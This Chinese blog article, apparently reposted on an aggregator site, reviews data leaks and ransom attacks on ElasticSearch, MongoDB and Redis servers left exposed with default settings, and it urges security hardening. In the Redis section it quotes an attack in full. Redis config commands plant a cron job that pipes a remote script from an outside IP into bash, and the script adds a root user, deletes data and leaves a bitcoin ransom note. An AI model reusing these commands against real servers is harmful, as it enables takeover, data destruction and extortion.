有多少漏洞都会重来:从ElasticSearch到MongoDB和Redis

Posted 数据和云

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了有多少漏洞都会重来:从ElasticSearch到MongoDB和Redis相关的知识,希望对你有一定的参考价值。

编者说明:在新年即将来临,长假渐近的日子里,一定不要忘了数据库也需要关照,我们曾经总结过:,本文整理了一些数据库安全方面的案例,在新年前为大家再提一次醒。


在技术领域,周而复始发生的数据安全事件,往往都似曾相识。有多少漏洞,全都会在不同的产品身上重演一次,一个都不能少,似乎所有经验都不曾被借鉴。

就拿初始化部署,初始化的口令和认证方式,往往都因为简便而保留默认方式,当服务器对公网开放时,这些系统就变成了完全不设防的主体,对着危险的黑暗森林发出『我在这里』的呼喊。


后果就是,数据风行天下。我摘录几则案例,与大家分享,并且作为警示。当我们启用一个数据库时,务必铭记,不要保留任何缺省设置。这是最基本的安全保证。

ElasticSearch 数据泄露案例


Elasticsearch 在全球数据库流行度排行榜上位列第 8 位,是一个被广泛使用的全文搜索引擎,企业一般用它来实现数据索引和搜索功能,但是由于部署或者企业运维上的重视缺乏,而导致的安全事故不绝于耳。

有多少漏洞都会重来:从ElasticSearch到MongoDB和Redis


据2019年1月22日信息,美国一家网上赌场集团泄露了超过 1.08 亿笔投注信息。



该服务器被安全研究员 Justin Paine 发现,数据泄露源头是一个 ElasticSearch 服务器,该服务器没有密码保护,不需要身份验证且很明显信息来源于在线投注门户网站。


而此前类似的安全事件,同样言犹在耳:


2018 年 11 月份,美国发生一起 ElasticSearch 服务器在没有密码的开放状态下泄露了将近 5700 万美国民众个人信息的事件。共泄漏超过 73GB 数据,并且几个数据库被缓存在服务器内存中,其中一个数据库包含的个人信息就达到了 56,934,021 份。


2017 年,白帽汇曾对全球使用 ElasticSearch 引擎发生的勒索事件进行监测,最终发现因被攻击而删除的数据至少 500 亿条,被删除数据规模至少 450TB。互联网上公开可访问的 ElasticSearch 服务器超过 68000 余台,受害总数达 9750 台。此次事件后,1% 的 Elasticsearch 启用了验证插件,另外有 2% 则关闭了 Elasticsearch。


注意到这些问题的共同原因,ElasticSearch Server 没有密码,这些事件应该成为大家的警示。不管处于内部还是外部,只要是数据所在,即为堡垒,就应该进行重点的安全加固和防范,防止数据泄露损毁。数据安全重于泰山。我们也不能因为数据能够重构和可以恢复就放松警惕,因为数据泄露对企业和用户带来的伤害往往无法量度。


MongoDB数据泄露案例


MongoDB数据库同样存在类似的问题。在2019年年初,Twitter 上暴露出一则数据泄露事件:超 2 亿中国用户简历曝光



该信息对整个互联网开放,因此追踪信息来源几乎是不可能的,但经过 Twitter 上一位用户的努力,已确定大致来源为一个已经删除的 GitHub 存储库,该存储库包含 Web 应用程序的源代码,此应用程序具有与泄露数据库中数据结构完全相同的数据,这清楚表明该程序应该是一个收集用户简历的第三方应用。


据此用户查证,该已删除应用的简历主要来源之一是 bj.58.com ,当 Diachenko 与 bj.58.com 工作人员联系时,他们也给出了初步评估,确定数据来自第三方应用泄露,并非官方泄露。


而这并不是MongoDB的第一次,在2016年和2017年,针对MongoDB的大规模攻击曾经就席卷而来:

2016年12月27日,安全专家兼GDI Foundation联合创始人Victor Gevers 在Twitter上称由于存在配置漏洞,可不通过任何认证直接访问某些MongoDB数据库,而黑客早已盯上了这些目标。

有多少漏洞都会重来:从ElasticSearch到MongoDB和Redis

到 2017年1月3日,被黑客入侵的MongoDB数据库实例这个数字达到了2,000以上。而仅在1月9日早间开始的12小时内,受到黑客勒索的数据库就从12,000个翻倍达到了27,633之多。

尽管安全专家已经告诫众多MongoDB数据库用户不要向黑客支付赎金(很多黑客并不会如宣称的那样保留了数据,多数情况是直接删掉了),但已知仍有至少22个受害机构或个人缴纳了赎金。

而早在2015年 Shodan(搜索引擎)的负责人统计到有30,000个以上的MongoDB数据库实例,近600TB的数据暴露于公网之上,无需任何认证就可访问。很多版本滞后的数据库配置文件里没有做IP捆绑(bind_ip 127.0.0.1),在用户不甚了解的时候留下了安全隐患。虽然MongoDB的开发团队在下一个版本里修复了这个问题,但仍然有数量众多的数据库管理者没来得及更新。


MongoDB 的安全事故原因和前面的 ElasticSearch 非常相似,主要原因就是因为用户没有遵照规范化安全部署,缺少安全认证,并且直接将服务器暴露在公网里。

Redis的数据泄露

在2017年和2018年,关于Redis的安全问题同样大规模暴露出来。其安全原因和前面描述的如出一辙。


Redis 默认情况下,会绑定在 0.0.0.0:6379,这样会将 Redis 服务暴露到公网上,在Redis服务器没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下成功在Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器进行远程控制,获得主机的完全控制权。


以下引自阿里云的攻击过程说明:

  • 首先攻击者通过事先的扫描踩点,发现了这些公网可访问并且未设置密码的机器

  • 攻击者尝试连接这些机器,并且运行如下代码:

config set dir /var/spool/cron/

config set dbfilename root

config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash

save

通过上述指令,将下载脚本: http://103.224.80.52/butterfly.sh
并将该脚本写入到计划任务中,由计划任务启动执行。

该脚本内容:

#!/bin/bash

#*butterfly*

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin userdel -r redis useradd -o -u 0 -g 0 redis &>/dev/nullecho "abcd-1234-!" |passwd--stdin redis &>/dev/null rm -rf /root/* rm -rf /home/* rm -rf /opt/* rm -rf /data/* rm -rf /data* mkdir -p /dataecho -e " Warning! Your File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are welcome! Mail:dbsecuritys@protonmail.com BitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny " > /root/Warning.txt chmod +x /root/Warning.txt cp /root/Warning.txt /Warning.txt cp /root/Warning.txt /data/Warning.txtecho -e " Warning! Your File andDataBase is downloaded and backed up on our secured servers. To recover yourlost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail withyour server IP Address and a Proof of Payment. Any eMail without your server IPAddress and a Proof of Payment together will be ignored. We will drop thebackup after 24 hours. You are


攻击者要求发送0.6个比特币,否则将在24小时之内删除数据备份。但是从这个脚本中可以明显看出,攻击者根本没有进行备份,即使被攻击者给了钱,也是要不回数据的。


综合以上的几个安全事故告诉我们:

  1. 数据安全重于一切,安全防护必不可少;

  2. 安全需要点滴做起,如从密码防护开始;

  3. 备份是数据库管理的首要任务有备无患;

  4. 在初始建设时就着手进行安全加固防范;


当然,如果您的企业缺少相应的数据人才,可以申请『云服务』远程协助支持,云和恩墨『墨天轮』云服务平台,致力于让所有用户都能够使用到专业的数据库服务:

http://cs.enmotech.com 



数据驱动,成就未来,云和恩墨,不负所托!



资源下载

2018DTCC , 数据库大会PPT

2018DTC,2018 DTC 大会 PPT

DBALIFE ,“DBA 的一天”海报

DBA04 ,DBA 手记4 电子书

122ARCH ,Oracle 12.2体系结构图

2018OOW ,Oracle OpenWorld 资料

学习交流


以上是关于有多少漏洞都会重来:从ElasticSearch到MongoDB和Redis的主要内容,如果未能解决你的问题,请参考以下文章

2021年中总结,与神对话

ElasticSearch - 聚合 aggs

哈哈,你相信吗-所有的事与物都会随着时间的推移,必要有结果的

[漏洞预警] kibana < 6.6.0 代码执行漏洞

jHipster - 即使从实体中删除权限,AngularJS 路由也会重定向到登录

ElasticSearch远程随意代码运行漏洞(CVE-2014-3120)分析